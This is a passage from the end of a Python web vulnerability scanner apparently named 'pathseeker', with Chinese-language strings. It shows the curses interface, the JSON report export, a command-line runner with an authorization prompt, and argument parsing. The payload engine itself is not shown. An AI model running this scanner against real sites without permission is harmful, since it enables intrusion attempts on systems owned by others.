                win.addstr(4, 4, "✅ 未发现明显漏洞", curses.color_pair(UI_COLORS['success'][1]))
            else:
                row = 4
                win.addstr(row, 2, f"共发现 {len(self.found_vulns)} 个潜在漏洞:", 
                          curses.color_pair(UI_COLORS['warning'][1]) | curses.A_BOLD)
                row += 2
                
                for idx, vuln in enumerate(self.found_vulns):
                    if row >= h - 3:
                        win.addstr(row, 2, f"... 还有 {len(self.found_vulns) - idx} 个 ...", 
                                  curses.color_pair(UI_COLORS['info'][1]))
                        break
                    
                    line1 = f"{idx+1}. [{vuln['severity']}] {vuln['type']}"
                    win.addstr(row, 2, line1[:w-4], curses.color_pair(UI_COLORS['critical'][1]))
                    row += 1
                    
                    line2 = f"   参数: {vuln.get('param', 'N/A')} | Payload: {vuln['payload']}"
                    win.addstr(row, 2, line2[:w-4], curses.color_pair(UI_COLORS['menu'][1]))
                    row += 2
                
                win.addstr(h-2, 2, "[E]导出JSON [B]返回", curses.color_pair(UI_COLORS['info'][1]))
        except:
            pass
        
        win.refresh()
    
    def scan_callback(self, processed, total, vulns, phase):
        self.processed_count = processed
        self.total_tasks = total
        self.found_vulns = vulns
        self.current_phase = phase
    
    def start_scan(self):
        if not self.target_url.startswith("http"):
            self.log_queue.add_system_log("URL 必须以 http:// 或 https:// 开头", "error")
            return
        
        self.menu_stack.append(self.current_menu)
        self.current_menu = "scanning"
        self.is_scanning = True
        self.processed_count = 0
        self.total_tasks = 0
        self.found_vulns = []
        self.start_time = time.time()
        
        self.log_queue.add_system_log(f"开始扫描: {self.target_url}", "info")
        
        self.engine = EnhancedScannerEngine(
            self.target_url,
            self.config,
            update_callback=self.scan_callback,
            log_queue=self.log_queue
        )
        
        self.scan_thread = threading.Thread(target=self.engine.run, daemon=True)
        self.scan_thread.start()
    
    def stop_scan(self):
        if self.engine:
            self.engine.stop_event.set()
            self.log_queue.add_system_log("用户手动停止扫描", "warning")
        self.is_scanning = False
        
        if self.scan_thread:
            self.scan_thread.join(timeout=2)
    
    def export_report(self):
        if not self.found_vulns:
            self.log_queue.add_system_log("没有可导出的数据", "warning")
            return
        
        filename = f"pathseeker_report_{int(time.time())}.json"
        try:
            report = {
                "scan_info": {
                    "target": self.target_url,
                    "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                    "total_vulnerabilities": len(self.found_vulns),
                    "total_requests": self.processed_count
                },
                "vulnerabilities": self.found_vulns,
                "discovered_paths": getattr(self.engine, 'discovered_paths', [])
            }
            
            with open(filename, "w", encoding="utf-8") as f:
                json.dump(report, f, indent=4, ensure_ascii=False)
            
            self.log_queue.add_system_log(f"报告已保存: {filename}", "success")
        except Exception as e:
            self.log_queue.add_system_log(f"导出失败: {str(e)}", "error")
    
    def show_input_dialog(self, prompt, default=""):
        h, w = self.stdscr.getmaxyx()
        dialog = curses.newwin(5, min(70, w-4), (h-5)//2, (w-min(70, w-4))//2)
        
        try:
            dialog.box()
            dialog.addstr(1, 2, prompt, curses.color_pair(UI_COLORS['header'][1]))
            dialog.addstr(2, 2, " " * (min(70, w-4) - 4), curses.A_UNDERLINE)
            dialog.addstr(2, 2, default[:min(70, w-4) - 4], curses.A_UNDERLINE)
            dialog.refresh()
            
            curses.echo()
            curses.curs_set(1)
            self.stdscr.nodelay(False)
            
            data = dialog.getstr(2, 2, min(70, w-4) - 4).decode('utf-8')
            
            curses.noecho()
            curses.curs_set(0)
            self.stdscr.nodelay(True)
            
            return data.strip() if data.strip() else default
        except:
            curses.noecho()
            curses.curs_set(0)
            self.stdscr.nodelay(True)
            return default
    
    def run(self):
        if not self.init_curses():
            return False
        
        try:
            menus = {
                "main": [
                    {"text": "🚀 开始扫描配置", "action": "goto_config"},
                    {"text": "🚪 退出程序", "action": "quit"}
                ],
                "config": [
                    {"text": "🎯 目标URL", "value": lambda: self.target_url, "action": "edit_url"},
                    {"text": "⚙️  线程数", "value": lambda: self.config['max_threads'], "action": "edit_threads"},
                    {"text": "🔐 高级编码", "value": lambda: "启用" if self.config['enable_encoding_variants'] else "禁用", "action": "toggle_enc"},
                    {"text": "🚀 启动扫描", "action": "start_scan"},
                    {"text": "🔙 返回", "action": "back"}
                ]
            }
            
            while True:
                self.draw_header()
                self.draw_status()
                self.draw_scan_log()
                self.draw_system_log()
                
                if self.current_menu == "scanning":
                    self.draw_scan_progress()
                    
                    if self.scan_thread and not self.scan_thread.is_alive() and self.is_scanning:
                        self.is_scanning = False
                        self.log_queue.add_system_log("扫描任务完成", "success")
                    
                    key = self.stdscr.getch()
                    if key == ord('q') or key == ord('Q'):
                        self.stop_scan()
                        self.current_menu = "results"
                    elif key == ord('p') or key == ord('P'):
                        if self.engine:
                            if self.engine.pause_event.is_set():
                                self.engine.pause_event.clear()
                                self.log_queue.add_system_log("扫描已暂停", "warning")
                            else:
                                self.engine.pause_event.set()
                                self.log_queue.add_system_log("扫描已恢复", "info")
                    elif key == ord('b') or key == ord('B'):
                        if not self.is_scanning:
                            self.current_menu = "results"
                    elif key == ord('e') or key == ord('E'):
                        if not self.is_scanning:
                            self.export_report()
                
                elif self.current_menu == "results":
                    self.draw_results()
                    
                    key = self.stdscr.getch()
                    if key == ord('b') or key == ord('B'):
                        self.current_menu = "config"
                    elif key == ord('e') or key == ord('E'):
                        self.export_report()
                
                else:
                    raw_items = menus.get(self.current_menu, [])
                    display_items = []
                    
                    for item in raw_items:
                        new_item = item.copy()
                        if 'value' in item and callable(item['value']):
                            new_item['value'] = item['value']()
                        display_items.append(new_item)
                    
                    self.draw_menu(self.current_menu.upper(), display_items)
                    
                    key = self.stdscr.getch()
                    
                    if key == curses.KEY_UP:
                        self.selected_item = max(0, self.selected_item - 1)
                    elif key == curses.KEY_DOWN:
                        self.selected_item = min(len(display_items) - 1, self.selected_item + 1)
                    elif key == 10:
                        if self.selected_item < len(display_items):
                            action = display_items[self.selected_item].get('action')
                            
                            if action == "quit":
                                break
                            elif action == "goto_config":
                                self.menu_stack.append(self.current_menu)
                                self.current_menu = "config"
                                self.selected_item = 0
                            elif action == "back":
                                if self.menu_stack:
                                    self.current_menu = self.menu_stack.pop()
                                    self.selected_item = 0
                            elif action == "edit_url":
                                new_url = self.show_input_dialog("输入完整URL:", self.target_url)
                                if new_url:
                                    self.target_url = new_url
                                    self.log_queue.add_system_log(f"目标已更新: {new_url}", "info")
                            elif action == "edit_threads":
                                val = self.show_input_dialog("线程数 (1-50):", str(self.config['max_threads']))
                                if val.isdigit() and 1 <= int(val) <= 50:
                                    self.config['max_threads'] = int(val)
                                    self.log_queue.add_system_log(f"线程数已设置为: {val}", "info")
                            elif action == "toggle_enc":
                                self.config['enable_encoding_variants'] = not self.config['enable_encoding_variants']
                                status = "启用" if self.config['enable_encoding_variants'] else "禁用"
                                self.log_queue.add_system_log(f"高级编码已{status}", "info")
                            elif action == "start_scan":
                                self.start_scan()
                
                time.sleep(0.02)
        
        except KeyboardInterrupt:
            self.log_queue.add_system_log("用户中断程序", "warning")
        except Exception as e:
            self.end_curses()
            print(f"\n{Fore.RED}❌ UI错误: {str(e)}{Style.RESET_ALL}\n")
            import traceback
            traceback.print_exc()
            return False
        finally:
            self.stop_scan()
            self.end_curses()
            return True

# ============================================================================
# 命令行模式
# ============================================================================

class CommandLineRunner:
    @staticmethod
    def run(target_url, config):
        print(APP_BANNER)
        print(f"{Fore.CYAN}📍 目标: {target_url}{Style.RESET_ALL}\n")
        
        available = KaliToolManager.get_available_tools()
        print(f"{Fore.YELLOW}🔧 可用工具: {', '.join(available.keys()) if available else '无'}{Style.RESET_ALL}\n")
        
        response = input(f"{Fore.YELLOW}确认已获得授权? (yes/no): {Style.RESET_ALL}").strip().lower()
        if response not in ['yes', 'y']:
            return
        
        log_queue = LogQueue()
        
        def progress_callback(processed, total, vulns, phase):
            percent = (processed / total * 100) if total > 0 else 0
            sys.stdout.write(f"\r{Fore.CYAN}[{phase}] {percent:.1f}% ({processed}/{total}) | 漏洞: {len(vulns)}{Style.RESET_ALL}")
            sys.stdout.flush()
        
        engine = EnhancedScannerEngine(
            target_url,
            config,
            update_callback=progress_callback,
            log_queue=log_queue
        )
        
        print(f"\n{Fore.GREEN}🚀 开始扫描...{Style.RESET_ALL}\n")
        start = time.time()
        engine.run()
        elapsed = time.time() - start
        
        print(f"\n\n{'='*70}")
        print(f"{Fore.GREEN}✅ 扫描完成！耗时: {elapsed:.2f}秒{Style.RESET_ALL}")
        print(f"{'='*70}")
        print(f"📊 总请求: {engine.successful_requests + engine.failed_requests}/{engine.total_requests}")
        print(f"✓ 成功: {engine.successful_requests} | ✗ 失败: {engine.failed_requests}")
        print(f"🎯 漏洞: {len(engine.vulnerabilities)}")
        print(f"🗂️  路径: {len(engine.discovered_paths)}\n")
        
        if engine.vulnerabilities:
            print(f"{Fore.RED}🔥 漏洞详情:{Style.RESET_ALL}\n")
            for idx, v in enumerate(engine.vulnerabilities, 1):
                print(f"{Fore.YELLOW}{idx}. [{v['severity']}] {v['type']}{Style.RESET_ALL}")
                print(f"   参数: {v.get('param', 'N/A')}")
                print(f"   Payload: {v['payload']}")
                print(f"   置信度: {v.get('confidence', 'N/A')}")
                print()

# ============================================================================
# 主程序
# ============================================================================

def main():
    parser = argparse.ArgumentParser(
        description=f"{APP_NAME}",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument("-u", "--url", help="目标URL")
    parser.add_argument("-t", "--threads", type=int, default=10, help="线程数")
    parser.add_argument("--timeout", type=int, default=5, help="请求超时（秒）")
    parser.add_argument("--rate-limit", type=int, default=20, help="请求速率（req/s）")
    parser.add_argument("--advanced", action="store_true", help="启用高级编码")
    parser.add_argument("--no-curses", action="store_true", help="强制命令行模式")
    
    args = parser.parse_args()
    
    config = {
        "max_threads": args.threads,
        "timeout": args.timeout,
        "rate_limit": args.rate_limit,
        "enable_encoding_variants": args.advanced
    }
    
    if args.url:
        CommandLineRunner.run(args.url, config)
    else:
        if CURSES_AVAILABLE and not args.no_curses:
            print(f"{Fore.CYAN}🚀 启动交互式界面...{Style.RESET_ALL}")
            time.sleep(0.5)
            ui = EnhancedCursesUI(config)
            ui.run()
        else:
            print(f"{Fore.YELLOW}请使用: python3 {sys.argv[0]} -u <URL>{Style.RESET_ALL}")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}⏹️  已中断{Style.RESET_ALL}")
        sys.exit(0)
    except Exception as e:
        print(f"\n{Fore.RED}❌ 错误: {str(e)}{Style.RESET_ALL}")
        import traceback
        traceback.print_exc()
        sys.exit(1)

